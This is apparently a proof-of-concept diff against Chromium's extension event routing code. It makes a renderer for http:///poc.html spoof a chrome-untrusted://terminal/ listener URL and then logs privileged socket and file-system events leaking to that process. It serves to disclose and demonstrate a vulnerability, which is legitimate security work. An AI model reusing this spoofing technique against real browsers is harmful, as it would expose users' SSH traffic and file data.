diff --git a/extensions/browser/event_router.cc b/extensions/browser/event_router.cc index 1c41a633aa238..fb5c3d36cf24a 100644 --- a/extensions/browser/event_router.cc +++ b/extensions/browser/event_router.cc @@ -25,6 +25,7 @@ #include "base/strings/string_util.h" #include "components/crx_file/id_util.h" #include "content/public/browser/browser_context.h" +#include "content/public/browser/child_process_security_policy.h" // [POC] #include "content/public/browser/browser_task_traits.h" #include "content/public/browser/browser_thread.h" #include "content/public/browser/render_process_host.h" @@ -391,8 +392,70 @@ void EventRouter::AddListenerForMainThread( AddEventListener(event_listener->event_name, process, extension_id); } else if (listener_owner.is_listener_url() && listener_owner.get_listener_url().is_valid()) { + // ==================================================================== + // [POC] Browser-side instrumentation: prove the spoofed listener_url + // is accepted from a renderer process that cannot host that origin. + // ==================================================================== + const GURL& lurl = listener_owner.get_listener_url(); + if (lurl.SchemeIs("chrome-untrusted")) { + bool can_access = + content::ChildProcessSecurityPolicy::GetInstance() + ->CanAccessDataForOrigin(process->GetDeprecatedID(), + url::Origin::Create(lurl)); + LOG(ERROR) << "[POC-BROWSER] AddListenerForMainThread accepted: " + << "event=" << event_listener->event_name + << " listener_url=" << lurl + << " from rph=" << process->GetDeprecatedID() + << " CanAccessDataForOrigin(chrome-untrusted://terminal)=" + << (can_access ? "true" : "false") + << (can_access ? "" : " <-- VULN: process cannot host this " + "origin but listener was registered!"); + } AddEventListenerForURL(event_listener->event_name, process, listener_owner.get_listener_url()); + // ==================================================================== + // [POC] ChromeOS-behavior simulator. On ChromeOS, when the real + // Terminal app's SSH connection receives data, + // TCPSocketEventDispatcher::DispatchEvent (tcp_socket_event_dispatcher.cc + // :215-216) calls exactly: + // router->DispatchEventToURL(GURL("chrome-untrusted://terminal/"), ev); + // We invoke that same browser-side codepath here so the + // ListenerMeetsRestrictions / CheckFeatureAvailability bypass can be + // observed on a Linux desktop build. THIS BLOCK IS NOT PART OF THE + // EXPLOIT — it stands in for production ChromeOS behavior. + // ==================================================================== + if (lurl.SchemeIs("chrome-untrusted") && + event_listener->event_name == "sockets.tcp.onReceive") { + content::GetUIThreadTaskRunner({})->PostDelayedTask( + FROM_HERE, + base::BindOnce( + [](base::WeakPtr self) { + if (!self) return; + LOG(ERROR) + << "[POC-BROWSER] (simulating ChromeOS Terminal) " + "DispatchEventToURL(restrict_to_url=" + "chrome-untrusted://terminal/, " + "event=sockets.tcp.onReceive)"; + base::ListValue args; + base::DictValue info; + info.Set("socketId", 1); + // Representative SSH banner bytes that would arrive on the + // real Terminal's TCP socket on ChromeOS. + base::ListValue bytes; + for (char c : std::string("SSH-2.0-OpenSSH_9.6\r\n")) { + bytes.Append(static_cast(c)); + } + info.Set("data", std::move(bytes)); + args.Append(std::move(info)); + auto ev = std::make_unique( + events::SOCKETS_TCP_ON_RECEIVE, + "sockets.tcp.onReceive", std::move(args)); + self->DispatchEventToURL( + GURL("chrome-untrusted://terminal/"), std::move(ev)); + }, + weak_factory_.GetWeakPtr()), + base::Seconds(2)); + } } else { mojo::ReportBadMessage(kAddEventListenerWithInvalidParam); } @@ -1080,6 +1143,26 @@ void EventRouter::DispatchEventToProcess( return; } + // ==================================================================== + // [POC] Log when an event passes ListenerMeetsRestrictions + + // CheckFeatureAvailability and is about to be sent to a renderer process. + // ==================================================================== + if (target_context == mojom::ContextType::kUntrustedWebUi) { + bool can_access = + content::ChildProcessSecurityPolicy::GetInstance() + ->CanAccessDataForOrigin(process->GetDeprecatedID(), + url::Origin::Create(listener_url)); + LOG(ERROR) << "[POC-BROWSER] DispatchEventToProcess: event=" + << event->event_name + << " target_context=kUntrustedWebUi listener_url=" + << listener_url << " rph=" << process->GetDeprecatedID() + << " CanAccessDataForOrigin=" << (can_access ? "true" : "false") + << (can_access + ? "" + : " <-- VULN: dispatching kUntrustedWebUi-restricted " + "event to process that cannot host that origin!"); + } + if (target_context == mojom::ContextType::kWebPage) { // |url| can only be null for service workers, so should never be null here. CHECK(url); diff --git a/extensions/renderer/dispatcher.cc b/extensions/renderer/dispatcher.cc index df4634ffecb4b..20af4c33fe446 100644 --- a/extensions/renderer/dispatcher.cc +++ b/extensions/renderer/dispatcher.cc @@ -18,6 +18,7 @@ #include "base/debug/dump_without_crashing.h" #include "base/feature_list.h" #include "base/functional/bind.h" +#include "base/json/json_writer.h" // [POC] #include "base/functional/callback.h" #include "base/functional/callback_helpers.h" #include "base/lazy_instance.h" @@ -1263,6 +1264,17 @@ void Dispatcher::DispatchEvent(mojom::DispatchEventParamsPtr params, DispatchEventCallback callback) { CHECK_EQ(params->worker_thread_id, kMainThreadId); CHECK(params->host_id); + // ======================================================================== + // [POC] Log every event delivered to this renderer process so we can + // observe the leaked event arriving in the http:// renderer. + // ======================================================================== + { + std::string args_json; + base::JSONWriter::Write(event_args, &args_json); + LOG(ERROR) << "[POC-RENDERER] pid=" << getpid() + << " *** RECEIVED EVENT *** name=" << params->event_name + << " args=" << args_json; + } content::RenderFrame* background_frame = nullptr; if (params->host_id->type == mojom::HostID::HostType::kExtensions) { background_frame = ExtensionFrameHelper::GetBackgroundPageFrame( diff --git a/extensions/renderer/extension_frame_helper.cc b/extensions/renderer/extension_frame_helper.cc index 1ab0e8afc84b8..0a0b6775bef8b 100644 --- a/extensions/renderer/extension_frame_helper.cc +++ b/extensions/renderer/extension_frame_helper.cc @@ -286,6 +286,30 @@ void ExtensionFrameHelper::DidCreateDocumentElement() { did_create_current_document_element_ = true; extension_dispatcher_->DidCreateDocumentElement( render_frame()->GetWebFrame()); + + // ======================================================================== + // [POC] Compromised-renderer simulation: spoof a chrome-untrusted:// + // listener_url over the mojom::EventRouter associated interface. A real + // attacker with renderer RCE would do exactly this — there is no + // renderer-side gate on the listener_url field. + // ======================================================================== + GURL doc_url(render_frame()->GetWebFrame()->GetDocument().Url()); + if (doc_url.SchemeIs("http") && doc_url.path() == "/poc.html") { + const char* kSpoofUrl = "chrome-untrusted://terminal/"; + const char* kEvents[] = { + "sockets.tcp.onReceive", + "fileSystemProvider.onReadFileRequested", + }; + for (const char* ev : kEvents) { + LOG(ERROR) << "[POC-RENDERER] pid=" << getpid() + << " real_url=" << doc_url + << " -> AddListenerForMainThread(event=" << ev + << ", listener_url=" << kSpoofUrl << ")"; + GetEventRouter()->AddListenerForMainThread(mojom::EventListener::New( + mojom::EventListenerOwner::NewListenerUrl(GURL(kSpoofUrl)), ev, + /*service_worker_context=*/nullptr, /*filter=*/std::nullopt)); + } + } } void ExtensionFrameHelper::DidCreateNewDocument() {